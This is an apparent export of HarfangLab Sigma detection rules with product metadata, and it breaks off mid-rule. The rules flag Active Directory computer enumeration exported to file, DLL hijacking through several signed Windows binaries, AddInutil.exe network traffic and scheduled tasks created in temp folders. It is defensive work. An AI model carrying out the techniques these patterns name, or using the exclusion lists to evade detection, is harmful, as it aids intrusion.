+  "content": "title: Get-ADComputer PowerShell Cmdlet Results Exported\nid: 74d9e50a-fabb-42bb-90dc-e3077f67a6da\ndescription: |\n    Detects the usage of Get-ADComputer PowerShell cmdlet whose results are exported to a file.\n    The Get-ADComputer cmdlet allows to enumerate Domain computers' properties.\n    This is a classic discovery technique used by attackers to get an overview of assets enrolled in the Active Directory.\n    It is recommended to analyze the process responsible for the execution of the cmdlet to look for malicious content as well as to correlate this alert with other potential discovery activities on the host.\nreferences:\n    - https://thedfirreport.com/2023/04/03/malicious-iso-file-leads-to-domain-wide-ransomware/\n    - https://attack.mitre.org/techniques/T1033/\ndate: 2024/02/22\nmodified: 2025/02/07\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1033\n    - attack.t1018\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Get-ADComputer -Filter \\* -Properties \\* | Export-CSV '\n            - 'Get-ADComputer -Filter \\* -Properties \\* | Out-File'\n            - 'Set-Content -Path * -Value (Get-ADComputer -Filter \\* -Properties \\*)'\n            - 'Add-Content -Path * -Value (Get-ADComputer -Filter \\* -Properties \\*)'\n\n    exclusion_listing:\n        PowershellCommand|contains:\n            - '\\Install\\scripts\\list_Computer.ps1'\n            - '\\SCRIPT\\List_Computer.ps1'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74d9e50a-fabb-42bb-90dc-e3077f67a6da",
+  "rule_name": "Get-ADComputer PowerShell Cmdlet Results Exported",
+  "rule_description": "Detects the usage of Get-ADComputer PowerShell cmdlet whose results are exported to a file.\nThe Get-ADComputer cmdlet allows to enumerate Domain computers' properties.\nThis is a classic discovery technique used by attackers to get an overview of assets enrolled in the Active Directory.\nIt is recommended to analyze the process responsible for the execution of the cmdlet to look for malicious content as well as to correlate this alert with other potential discovery activities on the host.\n",
+  "rule_creation_date": "2024-02-22",
+  "rule_modified_date": "2025-02-07",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1033"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "74e8fff3-ecca-4f51-a9e7-46d86eca135d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593422Z",
+  "creation_date": "2026-03-23T11:45:34.593425Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593433Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_sgrmlpac.yml",
+  "content": "title: DLL Hijacking via SgrmLpac.exe\nid: 74e8fff3-ecca-4f51-a9e7-46d86eca135d\ndescription: |\n    Detects potential Windows DLL Hijacking via SgrmLpac.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'SgrmLpac.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\winhttp.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "74e8fff3-ecca-4f51-a9e7-46d86eca135d",
+  "rule_name": "DLL Hijacking via SgrmLpac.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via SgrmLpac.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "75594437-cac0-4935-a8ee-5bf04bc63744",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089855Z",
+  "creation_date": "2026-03-23T11:45:34.089858Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089865Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_pcaui.yml",
+  "content": "title: DLL Hijacking via pca.exe\nid: 75594437-cac0-4935-a8ee-5bf04bc63744\ndescription: |\n    Detects potential Windows DLL Hijacking via pca.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'pcaui.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\pcaui.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "75594437-cac0-4935-a8ee-5bf04bc63744",
+  "rule_name": "DLL Hijacking via pca.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via pca.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "75ebf1b7-01fe-4fa5-99d6-3329b1c4c8d9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097291Z",
+  "creation_date": "2026-03-23T11:45:34.097293Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097297Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wscollect.yml",
+  "content": "title: DLL Hijacking via WSCollect.exe\nid: 75ebf1b7-01fe-4fa5-99d6-3329b1c4c8d9\ndescription: |\n    Detects potential Windows DLL Hijacking via WSCollect.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'WSCollect.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Microsoft Office\\root\\Office*\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "75ebf1b7-01fe-4fa5-99d6-3329b1c4c8d9",
+  "rule_name": "DLL Hijacking via WSCollect.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via WSCollect.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "75f3fc65-b2ce-41df-a858-9ba8887a021f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.087249Z",
+  "creation_date": "2026-03-23T11:45:34.087253Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.087260Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html",
+    "https://lolbas-project.github.io/lolbas/Binaries/Addinutil/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_addinutil_network_connection.yml",
+  "content": "title: Suspicious AddInutil.exe Network Communication\nid: 75f3fc65-b2ce-41df-a858-9ba8887a021f\ndescription: |\n    Detects a suspicious network connection from the Add-In deployment cache updating utility (AddInutil.exe).\n    Adversaries can use this utility to proxy the execution of malicious code and make their command and control connections stealthier.\n    It is recommended to investigate the target of the network connection, the parent process of AddInutil.exe and other malicious activities on the machine.\nreferences:\n    - https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html\n    - https://lolbas-project.github.io/lolbas/Binaries/Addinutil/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2023/10/27\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.NetworkActivity\n    - classification.Windows.LOLBin.AddInutil\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.NetworkActivity\nlogsource:\n    product: windows\n    category: network_connection\ndetection:\n    selection:\n        ProcessOriginalFileName: 'addinutil.exe'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "75f3fc65-b2ce-41df-a858-9ba8887a021f",
+  "rule_name": "Suspicious AddInutil.exe Network Communication",
+  "rule_description": "Detects a suspicious network connection from the Add-In deployment cache updating utility (AddInutil.exe).\nAdversaries can use this utility to proxy the execution of malicious code and make their command and control connections stealthier.\nIt is recommended to investigate the target of the network connection, the parent process of AddInutil.exe and other malicious activities on the machine.\n",
+  "rule_creation_date": "2023-10-27",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1218"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "76107997-084f-46ed-aae8-41ca44b17c7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608984Z",
+  "creation_date": "2026-03-23T11:45:34.608988Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608995Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_temp_scheduled_task.yml",
+  "content": "title: Scheduled Task Created in Temporary Directory\nid: 76107997-084f-46ed-aae8-41ca44b17c7c\ndescription: |\n    Detects a scheduled task created from a temporary directory.\n    Adversaries may abuse the Windows Task Scheduler for persistence or privilege escalation.\n    It is recommended to investigate the parent process of schtasks to look for malicious content or actions, as well as the target the scheduled task to determine whether it is legitimate.\nreferences:\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2021/02/08\nmodified: 2025/08/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_image:\n        - Image|endswith: '\\schtasks.exe'\n        - OriginalFileName: 'schtasks.exe'\n\n    selection_command:\n        # \"C:\\Windows\\System32\\schtasks.exe\" /create /xml c:\\users\\user\\appdata\\local\\temp\\elevator.xml /tn elevator\n        CommandLine|contains|all:\n            - '/create '\n            - '/tn '\n\n    selection_path:\n        CommandLine:\n            - '*\\AppData\\Local\\Temp\\\\*'  # any file extension is possible here\n            - '*\\Windows\\Temp\\\\*'        # any file extension is possible here\n\n    exclusion_programfiles:\n        ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_samsung:\n        ParentCommandLine: '\"?:\\Program Files (x86)\\Samsung\\Settings\\MyLoginLauncher.exe\" /install'\n\n    exclusion_teamviewer1:\n        # C:\\WINDOWS\\system32\\schtasks /Create /TN TVInstallRestore /TR \"C:\\Users\\SVC-PD~1\\AppData\\Local\\Temp\\TeamViewer\\TeamViewer_.exe /RESTORE\" /RU SYSTEM /SC ONLOGON /F\n        ParentImage|endswith:\n            - '\\TeamViewer\\TeamViewer_.exe'\n            - '\\TeamViewer\\\\*\\TeamViewer_.exe'\n        CommandLine|endswith: ' /RU SYSTEM /SC ONLOGON /F'\n\n    exclusion_teamviewer2:\n        ParentImage: '*\\AppData\\Local\\Temp\\TeamViewer\\update.exe'\n        GrandparentImage:\n            - '?:\\Program Files\\TeamViewer\\TeamViewer.exe'\n            - '?:\\Program Files (x86)\\TeamViewer\\TeamViewer_Service.exe'\n            - '?:\\Program Files (x86)\\Teamviewer\\\\*\\TeamViewer_Service.exe'\n\n    exclusion_realtek:\n        # parent:  C:\\Windows\\System32\\DriverStore\\FileRepository\\realtekservice.inf_amd64_e9f6c354061743a4\\RtkAudUService64.exe\n        # schtask cmdline : schtasks /create /Tn RtkAudUService64_BG /XML \"C:\\Windows\\TEMP\\ST_CPL.pkg.XML\" /F\n        ParentImage:\n            - '?:\\Windows\\System32\\DriverStore\\FileRepository\\\\*\\RtkAudUService64.exe'\n            - '?:\\Windows\\System32\\RtkAudUService64.exe'\n\n    exclusion_atisetup:\n        CommandLine|contains|all:\n            - 'AMDLinkUpdate'\n            - '\\AppData\\Local\\Temp\\\\\\\\AMDLinkDriverUpdate.xml'\n        ParentImage: '*\\Driver\\Bin64\\ATISetup.exe'\n        GrandparentImage: '*\\Driver\\Setup.exe'\n\n    exclusion_lenovo:\n        # \"C:\\windows\\system32\\schtasks.exe\" /create /tn \"Lenovo Active Protection System\" /xml \"C:\\windows\\TEMP\\{46A84694-59EC-48F0-964C-7E76E9F8A2ED}\\aps.xml\"\n        CommandLine|contains|all:\n            - ' /create /tn '\n            - 'Lenovo Active Protection System'\n            - ' /xml '\n            - '\\TEMP\\{????????-????-????-????-????????????}\\aps.xml'\n        ParentCommandLine: '?:\\windows\\system32\\msiexec.exe /V'\n        GrandparentImage: '?:\\windows\\system32\\services.exe'\n\n    exclusion_hp_keyboard:\n        # schtasks.exe /Create /TN HP\\HP Collaboration Keyboard\\HP Collaboration Keyboard Controller /XML C:\\Users\\XXX\\AppData\\Local\\Temp\\{C9EECB6F-C41B-4BF5-8203-F7A50B088573}\\HPCollaborationKeyboardTask64bit.xml /F\n        CommandLine|contains|all:\n            - 'schtasks.exe /Create /TN HP\\HP Collaboration Keyboard\\HP Collaboration Keyboard Controller'\n            - 'HPCollaborationKeyboardTask64bit.xml'\n        ParentCommandLine: '?:\\windows\\system32\\msiexec.exe /V'\n        GrandparentImage: '?:\\windows\\system32\\services.exe'\n\n    exclusion_conexant:\n        ParentImage:\n            - '?:\\program files\\conexant\\install\\audio\\sa3\\x64\\setup64.exe'\n            - '?:\\Windows\\Temp\\UIU_IROR_???????????\\x64\\Setup64.exe'\n        CommandLine|contains: ' /tn \\microsoft\\windows\\conexant\\sa3'  # c:\\windows\\system32\\schtasks.exe /create /xml c:\\windows\\temp\\62469ba22d8.xml /tn \\microsoft\\windows\\conexant\\sa3\n\n    exclusion_deployapplication:\n        # from here : https://github.com/PSAppDeployToolkit/PSAppDeployToolkit\n\n        # c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -executionpolicy bypass -noprofile -nologo -windowstyle hidden -command & { & 'c:\\windows\\ccmcache\\ed\\deploy-application.ps1' -deploymode silent; exit $lastexitcode }\n        # c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe -executionpolicy bypass -noprofile -nologo -windowstyle hidden -command & { & 'c:\\users\\xxx\\documents\\workplace\\applications\\metrologic-silma-x4-v17-fr-x64-1.0.0-sls\\deploy-application.ps1' -deploymenttype uninstall -deploymode silent; exit $lastexitcode }\n\n        ParentCommandLine|contains:\n            - '?:\\Windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe'\n            - '?:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\PowerShell_ISE.exe'\n        # c:\\windows\\system32\\schtasks.exe /create /f /tn siemens_teamcenter_12.4.0_x64_ml_01_blockedapps /xml c:\\windows\\temp\\psappdeploytoolkit\\schtaskunblockapps.xml\n        # c:\\windows\\system32\\schtasks.exe /create /f /tn dassaultsystemes_edrawings2019_2019_x64_ml_1.0.0_blockedapps /xml c:\\windows\\temp\\psappdeploytoolkit\\schtaskunblockapps.xml\n        # c:\\windows\\system32\\schtasks.exe /create /f /tn autodesk_autocadlt2020_2020_x64_en_01_blockedapps /xml c:\\windows\\temp\\psappdeploytoolkit\\schtaskunblockapps.xml\n        CommandLine|contains:\n            - '\\psappdeploytoolkit\\schtaskunblockapps.xml'\n            - '\\psappdeploytoolkit\\psappdeploytoolkit-executeasuser.xml'\n\n    exclusion_deployapplication_powershell_ise:\n        # c:\\windows\\system32\\windowspowershell\\v1.0\\powershell_ise.exe\n        ParentCommandLine|contains|all: '\\windows\\system32\\windowspowershell\\v1.0\\powershell_ise.exe'\n        CommandLine|contains:\n            - 'psappdeploytoolkit\\schtaskunblockapps.xml'\n            - 'psappdeploytoolkit\\psappdeploytoolkit-executeasuser.xml'\n\n    exclusion_wapt:\n        GrandparentImage|endswith:\n            - '\\wapt\\waptpython.exe'\n            - '\\wapt\\wapt-get.exe'\n        # schtasks /Create /F /TN fullwaptupgrade /XML c:\\windows\\temp\\tmpteb05q.xml\n        # schtasks /Create /RU SYSTEM /SC ONSTART /TN fullwaptupgrade /TR c:\\windows\\temp\\waptdeploy.exe --hash=72dd1bb28863f5e12b1f24b89de4b38c477459e75ceedecfb8bc4fdfa7e97999 --waptsetupurl=c:\\windows\\temp\\waptagent.exe --wait=15 --temporary --force --minversion=1.8.0.6639 /F /V1 /Z\n        # schtasks /Create /SC ONCE /TN fullwaptupgrade /TR 'c:\\windows\\temp\\waptdeploy.exe' --hash=04ff657a08c9b967d8b4634690ed7e05bf550287fd93bbf86068bdd0eaf69178 --waptsetupurl=c:\\windows\\temp\\waptagent.exe --wait=15 --temporary --force --minversion=1.8.2.7393 /ST 14:03:57 /RU SYSTEM /F /V1 /Z\n        CommandLine|contains:\n            - ' /Create /F /TN fullwaptupgrade /XML ?:\\WINDOWS\\TEMP\\tmp*.xml'\n            - ' /Create /RU SYSTEM /SC ONSTART /TN fullwaptupgrade /TR ?:\\windows\\temp\\waptdeploy.exe *'\n            - ' /Create*fullwaptupgrade*windows\\temp\\waptdeploy.exe*'\n\n    exclusion_alienware:\n        CommandLine:\n            - '?:\\Windows\\system32\\SchTasks.exe /tn \\AWCC\\Update /create /xml ?:\\Windows\\TEMP\\\\*\\AWCCUpdater.xml*'\n            - '?:\\Windows\\system32\\SchTasks.exe /tn \\AWCC\\Update /create /xml ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\*\\AWCCUpdater.xml'\n        ParentImage:\n            - '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\_is????.exe'\n            - '?:\\Users\\\\*\\AppData\\Local\\Temp\\{????????-????-????-????-????????????}\\_is????.exe'\n\n    exclusion_dell_updater:\n        CommandLine: '?:\\Windows\\system32\\SchTasks.exe /tn MyDell.Updater /create /xml ?:\\Windows\\TEMP\\{????????-????-????-????-????????????}\\\\MyDellUpdater.xml'\n        ParentImage: '?:\\Windows\\Temp\\{????????-????-????-????-????????????}\\_is????.exe'\n\n    exclusion_amd:\n        CommandLine:\n            - 'schtasks /Create /TN AMDInstallLauncher /XML ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\\\\\AMDAUEPInstaller.xml'\n            - 'schtasks /Create /TN AMDScoSupportTypeUpdate /XML ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\\\\\AMDScoSupportTypeUpdate.xml'\n            - 'schtasks /Create /TN AMDLinkUpdate /XML ?:\\Windows\\TEMP\\\\\\\\AMDLinkDriverUpdate.xml'\n            - 'schtasks /Create /TN AMDLinkUpdate /XML ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\\\\\AMDLinkDriverUpdate.xml'\n            - 'schtasks /Create /TN ModifyLinkUpdate /XML ?:\\Users\\\\*\\AppData\\Local\\Temp\\\\\\\\ModifyLinkUpdateNew.xml'\n        ParentImage|endswith:\n            - '\\Bin64\\AMDSoftwareInstaller.exe'\n            - '\\Bin64\\ATISetup.exe'\n            - '\\BIN64\\RadeonInstaller.exe'\n\n    exclusion_acer:\n        ParentImage:\n            - 